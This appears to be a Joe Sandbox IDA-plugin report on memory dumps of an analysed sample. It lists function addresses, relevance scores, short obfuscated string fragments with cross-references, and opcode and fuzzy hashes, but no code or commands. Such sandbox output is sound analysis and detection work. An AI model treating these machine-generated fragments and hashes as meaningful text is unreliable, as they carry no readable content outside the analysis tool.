Source File: 00000000.00000002.1702166087.0000000000F41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F40000, based on PE: true

Associated: 00000000.00000002.1702152974.0000000000F40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.0000000000FA0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.0000000001124000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.0000000001203000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.000000000122F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.000000000123B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.0000000001248000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702487732.0000000001249000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702639277.00000000013E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702653468.00000000013EA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f40000_file.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: af04698e3d8fcdaf6e44d04afe37f21340d24f3eefdcca36e56c7d5e3a354674
Instruction ID: b092814cf89e03b37b823e439b368520a4e773aa8af5a37ed61e330187ba43e9
Opcode Fuzzy Hash: af04698e3d8fcdaf6e44d04afe37f21340d24f3eefdcca36e56c7d5e3a354674
Instruction Fuzzy Hash: F4B012300400005FDA041B00FC0AF003510EB00605F900050A100040B1D1615864D555

Non-executed Functions

Function 00F5DB6F Relevance: 32.0, Strings: 24, Instructions: 2006COMMON

Download Yara Rule

Strings

`onm, xrefs: 00F5E733
mjkh, xrefs: 00F5E7D8
<=:;, xrefs: 00F5E930
`Y^_, xrefs: 00F5E99E
<=2, xrefs: 00F5EA01
DCBA, xrefs: 00F5E887, 00F5E896
xgfe, xrefs: 00F5E71D
T, xrefs: 00F5F157
:WUE, xrefs: 00F5F6B7, 00F5F6C6
dcba, xrefs: 00F5E728
LKJI, xrefs: 00F5E6E6
tsrq, xrefs: 00F5E6FC
D, xrefs: 00F5E846
AR, xrefs: 00F5DD10
WP, xrefs: 00F5DCEF
89&', xrefs: 00F5E93B
tuJK, xrefs: 00F5E967
@ONM, xrefs: 00F5E6DB
|, xrefs: 00F5ECB1
QNOL, xrefs: 00F5E775
()./, xrefs: 00F5E9CA
89>?, xrefs: 00F5E9F6
%*+(, xrefs: 00F5DE37, 00F5DE46
lkji, xrefs: 00F5E73E

Memory Dump Source

Source File: 00000000.00000002.1702166087.0000000000F41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F40000, based on PE: true

Associated: 00000000.00000002.1702152974.0000000000F40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.0000000000FA0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.0000000001124000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.0000000001203000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.000000000122F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.000000000123B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.0000000001248000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702487732.0000000001249000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702639277.00000000013E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702653468.00000000013EA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f40000_file.jbxd

Similarity

API ID: InitializeThunk
String ID: %*+($()./$89&'$89>?$:WUE$<=2$<=:;$@ONM$AR$D$DCBA$LKJI$QNOL$T$WP$`Y^_$`onm$dcba$lkji$mjkh$tsrq$tuJK$xgfe$|
API String ID: 2994545307-1418943773
Opcode ID: 4c6d61fdb97962e635fbed21d3f8df21bd5a8c3437d75cdb10c1b052753e66be
Instruction ID: 83f921af28d196662e356d3b6b1901654df2e299ccf27e457a0c3f6553c8eb61
Opcode Fuzzy Hash: 4c6d61fdb97962e635fbed21d3f8df21bd5a8c3437d75cdb10c1b052753e66be
Instruction Fuzzy Hash: 61F2ABB05093818FD774CF14C884BABBBE2BFD5315F14486CE9C98B291D7359988EB92

Function 00F723E0 Relevance: 31.3, APIs: 4, Strings: 12, Instructions: 3298COMMON

Download Yara Rule

Strings

aenQ, xrefs: 00F7276A
Cx, xrefs: 00F7453D
3<, xrefs: 00F732D6
f@~!, xrefs: 00F725FF
`tii, xrefs: 00F72693
fedc, xrefs: 00F72782
%*+(, xrefs: 00F740EF
{l`~, xrefs: 00F7268C
mlc@, xrefs: 00F7275C
:, xrefs: 00F732DD
ggxz, xrefs: 00F72685
|}&C, xrefs: 00F72F21

Memory Dump Source

Source File: 00000000.00000002.1702166087.0000000000F41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F40000, based on PE: true

Associated: 00000000.00000002.1702152974.0000000000F40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.0000000000FA0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.0000000001124000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.0000000001203000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.000000000122F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.000000000123B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.0000000001248000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702487732.0000000001249000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702639277.00000000013E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702653468.00000000013EA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f40000_file.jbxd

Similarity

API ID:
String ID: %*+($3<$:$Cx$`tii$aenQ$f@~!$fedc$ggxz$mlc@${l`~$|}&C
API String ID: 0-786070067
Opcode ID: 0536a05eb54c58eb790bfaa29692da147cc874f731b58af14e6815a73730ae41
Instruction ID: 083a8d83bc4004187ed44bcec71701a167020328048e1ffc27c4a4a29d5fb16b
Opcode Fuzzy Hash: 0536a05eb54c58eb790bfaa29692da147cc874f731b58af14e6815a73730ae41
Instruction Fuzzy Hash: 8C33CF705047818FD7658F38C590B62BBE1BF16304F58899ED4DA8B792C735F806EBA2

Function 00F69F62 Relevance: 21.7, Strings: 17, Instructions: 473COMMON

Download Yara Rule

Strings

?m,o, xrefs: 00F6A13C
JG, xrefs: 00F6AA27
]{, xrefs: 00F6A1E7, 00F6A1F3
WH, xrefs: 00F6AA1C
hi, xrefs: 00F6AB9D
WQ, xrefs: 00F6A62B
CG, xrefs: 00F6AA32
/), xrefs: 00F6A66D
=], xrefs: 00F6A36A
kW, xrefs: 00F6A380
Gt, xrefs: 00F69FF8
%e6g, xrefs: 00F6A152
sm, xrefs: 00F6A830
S], xrefs: 00F6A636
N[, xrefs: 00F6A375
(a*c, xrefs: 00F6A147
_Y, xrefs: 00F6A641

Memory Dump Source

Source File: 00000000.00000002.1702166087.0000000000F41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F40000, based on PE: true

Associated: 00000000.00000002.1702152974.0000000000F40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.0000000000FA0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.0000000001124000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.0000000001203000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.000000000122F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.000000000123B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.0000000001248000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702487732.0000000001249000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702639277.00000000013E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702653468.00000000013EA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f40000_file.jbxd

Similarity

API ID:
String ID: %e6g$(a*c$=]$?m,o$CG$Gt$JG$N[$WH$]{$hi$kW$/)$S]$WQ$_Y$sm
API String ID: 0-1131134755
Opcode ID: 456818705a316b466056043426370234b646c269d13c4f866f44167f59c8dd69
Instruction ID: 0e80321c72bb2670784ed71bc50d647bb1f72750222a979608b0fe269d8eade5
Opcode Fuzzy Hash: 456818705a316b466056043426370234b646c269d13c4f866f44167f59c8dd69
Instruction Fuzzy Hash: BE52B6B844D385CAE270CF25D581B8EBAF1BB92740F608A1DE1ED9B255DBB08045DF93

Function 00F69510 Relevance: 20.4, Strings: 16, Instructions: 427COMMON

Download Yara Rule

Strings

O+f), xrefs: 00F69634, 00F6963D
L3Y=, xrefs: 00F69B03
G+X5, xrefs: 00F69AF3
pq, xrefs: 00F699E0
8;, xrefs: 00F69B13
!E4G, xrefs: 00F69836
B7U1, xrefs: 00F69AFB
;IJK, xrefs: 00F6983E
G'M!, xrefs: 00F69ADB
X/R), xrefs: 00F69AEB
z=Q?, xrefs: 00F69826
?M0K, xrefs: 00F69968
B?Q9, xrefs: 00F69B0B
,A&C, xrefs: 00F6982E
T#a-, xrefs: 00F69AE3
2A"_, xrefs: 00F69980

Memory Dump Source

Source File: 00000000.00000002.1702166087.0000000000F41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F40000, based on PE: true

Associated: 00000000.00000002.1702152974.0000000000F40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.0000000000FA0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.0000000001124000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.0000000001203000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.000000000122F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.000000000123B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.0000000001248000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702487732.0000000001249000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702639277.00000000013E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702653468.00000000013EA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f40000_file.jbxd

Similarity

API ID:
String ID: !E4G$,A&C$2A"_$8;$;IJK$?M0K$B7U1$B?Q9$G'M!$G+X5$L3Y=$O+f)$T#a-$X/R)$pq$z=Q?
API String ID: 0-655414846
Opcode ID: b6e7a5e70cedf27e08cf4d82256f711421ef7cc57aa7e88694b9426bb4202806
Instruction ID: f1898a264425533b587b7b75bf10f388bbebb7dab4966ad2b39a8ff18daa7547
Opcode Fuzzy Hash: b6e7a5e70cedf27e08cf4d82256f711421ef7cc57aa7e88694b9426bb4202806
Instruction Fuzzy Hash: E2F140B0508384ABD310DF15D881A2BBBF8FB86B48F544D1CF4D59B252D379DA08EB96

Function 00F6DD29 Relevance: 14.9, Strings: 11, Instructions: 1142COMMON

Download Yara Rule

Strings

n\+H, xrefs: 00F6DDC0
upH}, xrefs: 00F6DE8A, 00F6E798, 00F6DF4A
%*+(, xrefs: 00F6E143
<Y.[, xrefs: 00F6E27D
=]+_, xrefs: 00F6E276
,Q?S, xrefs: 00F6E26F
hX]N, xrefs: 00F6DDC7
)IgK, xrefs: 00F6E261
Y9N;, xrefs: 00F6E245
{E, xrefs: 00F6E323
-M2O, xrefs: 00F6E25A

Memory Dump Source

Source File: 00000000.00000002.1702166087.0000000000F41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F40000, based on PE: true

Associated: 00000000.00000002.1702152974.0000000000F40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.0000000000FA0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.0000000001124000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.0000000001203000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.000000000122F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.000000000123B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.0000000001248000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702487732.0000000001249000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702639277.00000000013E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702653468.00000000013EA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f40000_file.jbxd

Similarity

API ID:
String ID: %*+($)IgK$,Q?S$-M2O$<Y.[$=]+_$Y9N;$hX]N$n\+H$upH}${E
API String ID: 0-1557708024
Opcode ID: 51bc917360389437881968868caf0268806edcc6474ea8380d6b58067c4cc7e7
Instruction ID: a486f98323da0a2c3b95e208c751edecec4627261f2fc481cb55f3bf59da4d3e
Opcode Fuzzy Hash: 51bc917360389437881968868caf0268806edcc6474ea8380d6b58067c4cc7e7
Instruction Fuzzy Hash: D492F776E00209CFDB14CFA8D8517AEBBB2FF49310F298169E456AB391D7359D01DB90

Function 00F6098B Relevance: 10.8, Strings: 8, Instructions: 836COMMON

Download Yara Rule

Strings

9.5^, xrefs: 00F60F9F
cah`, xrefs: 00F6107E
,#15, xrefs: 00F60F94
&> &, xrefs: 00F60F89
gce/, xrefs: 00F61073
{, xrefs: 00F61502
%*+(, xrefs: 00F60A77, 00F60A86
qrqp, xrefs: 00F61089

Memory Dump Source

Source File: 00000000.00000002.1702166087.0000000000F41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F40000, based on PE: true

Associated: 00000000.00000002.1702152974.0000000000F40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.0000000000FA0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.0000000001124000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.0000000001203000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.000000000122F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.000000000123B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.0000000001248000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702487732.0000000001249000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702639277.00000000013E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702653468.00000000013EA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f40000_file.jbxd

Similarity

API ID:
String ID: %*+($&> &$,#15$9.5^$cah`$gce/$qrqp${
API String ID: 0-4102007303
Opcode ID: 4ae304ab1f2409b9904dc3510601ffb1687609cbc6f31c8bf83aa78b44de4006
Instruction ID: 2df5146c71662ca7cefbee8077902e5ac7074520cfbbdbea47387acd695ab22d
Opcode Fuzzy Hash: 4ae304ab1f2409b9904dc3510601ffb1687609cbc6f31c8bf83aa78b44de4006
Instruction Fuzzy Hash: 3D62A9B5A083818FD730CF14C891BABBBE1FF96314F18492DE49A8B641E7759940DB93

Function 00F41000 Relevance: 10.5, Strings: 7, Instructions: 1785COMMON

Download Yara Rule

Strings

-, xrefs: 00F421ED
gfff, xrefs: 00F42226
gfff, xrefs: 00F422E1
0123456789ABCDEFXP, xrefs: 00F4157D, 00F415EB
0123456789abcdefxp, xrefs: 00F41587, 00F415F8
@, xrefs: 00F42C40
gfff, xrefs: 00F42297

Memory Dump Source

Source File: 00000000.00000002.1702166087.0000000000F41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F40000, based on PE: true

Associated: 00000000.00000002.1702152974.0000000000F40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.0000000000FA0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.0000000001124000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.0000000001203000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.000000000122F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.000000000123B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.0000000001248000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702487732.0000000001249000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702639277.00000000013E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702653468.00000000013EA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f40000_file.jbxd

Similarity

API ID:
String ID: -$0123456789ABCDEFXP$0123456789abcdefxp$@$gfff$gfff$gfff
API String ID: 0-2517803157
Opcode ID: 4fb4ed39f90b5e3e20e77f161edc9d47e66354265b9bb8cf358a7b5855e61afc
Instruction ID: 3d1b27881c40ca8c1ecab13fd94b81722432a484889ef71b4a77a881baef3b51
Opcode Fuzzy Hash: 4fb4ed39f90b5e3e20e77f161edc9d47e66354265b9bb8cf358a7b5855e61afc
Instruction Fuzzy Hash: C5D2F471A083518FD718CE28C89436ABFE2AFD5324F188A2DF895C7391D774D945EB82

Function 01106977 Relevance: 7.8, Strings: 5, Instructions: 1595COMMON

Download Yara Rule

Strings

]it, xrefs: 01106FEF
`c;_, xrefs: 011074C1
Hqk, xrefs: 01107CBF
Dzmj, xrefs: 01106CCE
Y?~, xrefs: 0110745D

Memory Dump Source

Source File: 00000000.00000002.1702205323.0000000000FA0000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F40000, based on PE: true

Associated: 00000000.00000002.1702152974.0000000000F40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702166087.0000000000F41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.0000000001124000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.0000000001203000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.000000000122F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.000000000123B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.0000000001248000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702487732.0000000001249000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702639277.00000000013E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702653468.00000000013EA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f40000_file.jbxd

Similarity

API ID:
String ID: Dzmj$Hqk$Y?~$`c;_$]it
API String ID: 0-3110173708
Opcode ID: 7ea6ca4a85091d27037424b33a59a549685d4b549eb6b256d4fa96467e4bbab3
Instruction ID: 6a538e8ad7f49d33d9707363c5d0664428613811490fd9493307969c881084a3
Opcode Fuzzy Hash: 7ea6ca4a85091d27037424b33a59a549685d4b549eb6b256d4fa96467e4bbab3
Instruction Fuzzy Hash: 9AB2E3F3A0C2049FD3046E2DEC8566AFBE9EF94720F1A493DEAC583744EA3558058797

Function 0110846E Relevance: 7.8, Strings: 5, Instructions: 1560COMMON

Download Yara Rule

Strings

.&wu, xrefs: 011088AB
^ol, xrefs: 01108C1B
TJYT, xrefs: 01108FFF
0t~8, xrefs: 01108CFE
Qq/o, xrefs: 01108BC1

Memory Dump Source

Source File: 00000000.00000002.1702205323.0000000000FA0000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F40000, based on PE: true

Associated: 00000000.00000002.1702152974.0000000000F40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702166087.0000000000F41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.0000000001124000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.0000000001203000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.000000000122F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.000000000123B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.0000000001248000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702487732.0000000001249000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702639277.00000000013E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702653468.00000000013EA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f40000_file.jbxd

Similarity

API ID:
String ID: .&wu$0t~8$Qq/o$TJYT$^ol
API String ID: 0-3145002761
Opcode ID: 855d5ad467e42cda62e4ebe39e44d0734914e970c9bf1fb2e9749c0063917fb5
Instruction ID: cb09440d8592db17ff36874c42aeaf309f0334c084357db5b29f739a40324a01
Opcode Fuzzy Hash: 855d5ad467e42cda62e4ebe39e44d0734914e970c9bf1fb2e9749c0063917fb5
Instruction Fuzzy Hash: D8B2D4F360C2009FE304AE2DDC8567ABBE6EFD4720F1A892DE6C4C7744EA3558458697

Function 00F412F7 Relevance: 7.2, Strings: 5, Instructions: 922COMMON

Download Yara Rule

Strings

0, xrefs: 00F41DC1
0, xrefs: 00F41E88
0, xrefs: 00F4243E
i, xrefs: 00F428EA
@, xrefs: 00F43531

Memory Dump Source

Source File: 00000000.00000002.1702166087.0000000000F41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F40000, based on PE: true

Associated: 00000000.00000002.1702152974.0000000000F40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.0000000000FA0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.0000000001124000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.0000000001203000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.000000000122F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.000000000123B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.0000000001248000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702487732.0000000001249000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702639277.00000000013E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702653468.00000000013EA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f40000_file.jbxd

Similarity

API ID:
String ID: 0$0$0$@$i
API String ID: 0-3124195287
Opcode ID: 16bb9321b5aeaf5d6db7d742cf1e2f50cd40c1e412bc1a7d3d886ebd5f4af27e
Instruction ID: 3d0ee8e19f166e6c9bfc1c7281be36c8259d3b4ecb2e7f1c3c4f7629dffa788f
Opcode Fuzzy Hash: 16bb9321b5aeaf5d6db7d742cf1e2f50cd40c1e412bc1a7d3d886ebd5f4af27e
Instruction Fuzzy Hash: 8C62D071A0C3818BD318CF28C49076ABFE1AFD5354F588A2DF8D987291D774D949EB82

Function 00F4164F Relevance: 6.7, Strings: 5, Instructions: 472COMMON

Download Yara Rule

Strings

gfff, xrefs: 00F41F3C
0123456789ABCDEFXP, xrefs: 00F4164F
0123456789abcdefxp, xrefs: 00F41659
gfff, xrefs: 00F41F57
+, xrefs: 00F41573

Memory Dump Source

Source File: 00000000.00000002.1702166087.0000000000F41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F40000, based on PE: true

Associated: 00000000.00000002.1702152974.0000000000F40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.0000000000FA0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.0000000001124000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.0000000001203000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.000000000122F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.000000000123B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.0000000001248000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702487732.0000000001249000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702639277.00000000013E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702653468.00000000013EA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f40000_file.jbxd

Similarity

API ID:
String ID: +$0123456789ABCDEFXP$0123456789abcdefxp$gfff$gfff
API String ID: 0-1123320326
Opcode ID: 2d352a701bc1073b5492e4bc32948d6d4686a4988bd03a39f550b00c5a5ec5b5
Instruction ID: 2cb4dce89e716a73136c245d6efacf1f4a5ca427fce5e564f29117601c211a3b
Opcode Fuzzy Hash: 2d352a701bc1073b5492e4bc32948d6d4686a4988bd03a39f550b00c5a5ec5b5
Instruction Fuzzy Hash: 4EF19E31A0C3818FC715CE28C48436AFFE2ABD9314F588A6DE8D987356D734D949DB92

Function 00F413A3 Relevance: 6.6, Strings: 5, Instructions: 390COMMON

Download Yara Rule

Strings

-, xrefs: 00F41F23
gfff, xrefs: 00F41F3C
0123456789ABCDEFXP, xrefs: 00F413A3
0123456789abcdefxp, xrefs: 00F413AD
gfff, xrefs: 00F41F57

Memory Dump Source

Source File: 00000000.00000002.1702166087.0000000000F41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F40000, based on PE: true

Associated: 00000000.00000002.1702152974.0000000000F40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.0000000000FA0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.0000000001124000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.0000000001203000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.000000000122F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.000000000123B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.0000000001248000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702487732.0000000001249000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702639277.00000000013E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702653468.00000000013EA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f40000_file.jbxd

Similarity

API ID:
String ID: -$0123456789ABCDEFXP$0123456789abcdefxp$gfff$gfff
API String ID: 0-3620105454
Opcode ID: fdf76ce00d727309c5c7274d3ed050c4d599c8f1939f45cd17c0288182e0db71
Instruction ID: 2e420b476a2640c558c88bccc64badd1575df14b800a74dcbc3b7a30f54552c2
Opcode Fuzzy Hash: fdf76ce00d727309c5c7274d3ed050c4d599c8f1939f45cd17c0288182e0db71
Instruction Fuzzy Hash: B2D1AE3160C7818FC719CE29C48026AFFE2AFD9314F08CA6DE8D987356D634D949DB52

Function 0110EE04 Relevance: 6.6, Strings: 4, Instructions: 1593COMMON

Download Yara Rule

Strings

Z^d{, xrefs: 0110F590
$-5w, xrefs: 0110F14F
J}S, xrefs: 0110FF6E
(.g, xrefs: 0110FBA9

Memory Dump Source

Source File: 00000000.00000002.1702205323.0000000000FA0000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F40000, based on PE: true

Associated: 00000000.00000002.1702152974.0000000000F40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702166087.0000000000F41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.0000000001124000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.0000000001203000.00000040.00000001.01000000.00000003.sdmpDownload File
